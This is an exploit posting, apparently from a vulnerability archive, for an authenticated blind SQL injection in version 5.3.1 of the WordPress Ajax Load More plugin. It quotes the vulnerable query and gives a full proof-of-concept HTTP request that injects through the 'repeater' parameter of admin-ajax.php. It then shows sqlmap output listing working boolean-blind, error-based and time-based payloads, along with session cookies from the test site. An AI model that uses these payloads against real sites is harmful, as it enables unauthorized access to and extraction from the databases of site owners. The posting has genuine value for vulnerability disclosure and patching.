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WordPress Ajax Load More 5.3.1 SQL Injection

WordPress Ajax Load More 5.3.1 SQL Injection
Posted May 18, 2020
Authored by Nguyen Khang

WordPress Ajax Load More plugin version 5.3.1 suffers from an authenticated remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | b62e7993468155caf7c4a5bbff3af2c01d219ed45e79f6503ee63f9ca00ec5ac

WordPress Ajax Load More 5.3.1 SQL Injection

Change Mirror Download
# Exploit Title: Wordpress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang
# Google Dork: N/A
# Date: 2020-05-18
# Vendor Homepage: https://connekthq.com/plugins/ajax-load-more/
# Software Link: https://vi.wordpress.org/plugins/ajax-load-more/
# Version: <= 5.3.1
# Tested on: Ubuntu 18.04

Description:
A blind SQL injection vulnerability is present in Ajax load more.
$wpdb->get_var("SELECT repeaterDefault FROM " . $table_name . " WHERE name
= '$n'");

POC:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: lab-pwn.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://lab-pwn.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 597
Origin: http://lab-pwn.com
Connection: close
Cookie:
wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3;
wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2;
wp-settings-time-1=1589773793; PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1

action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F%3E%22+title%3D%22%3C%3Fphp+the_title()%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater='
or sleep(5)#&type=test&alias=&nonce=ae68ab8c91

SQL map:
custom injection marker ('*') found in option '--data'. Do you want to
process it? [Y/n/q]
[12:43:16] [INFO] resuming back-end DBMS 'mysql'
[12:43:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=-2104' OR 5557=5557-- dHBa#&type=test&alias=&nonce=ae68ab8c91

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=' OR (SELECT 3214 FROM(SELECT
COUNT(*),CONCAT(0x716a6b7a71,(SELECT
(ELT(3214=3214,1))),0x716a716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
AHqK#&type=test&alias=&nonce=ae68ab8c91

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=' OR SLEEP(5)-- pExJ#&type=test&alias=&nonce=ae68ab8c91
---
[12:43:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL >= 5.0

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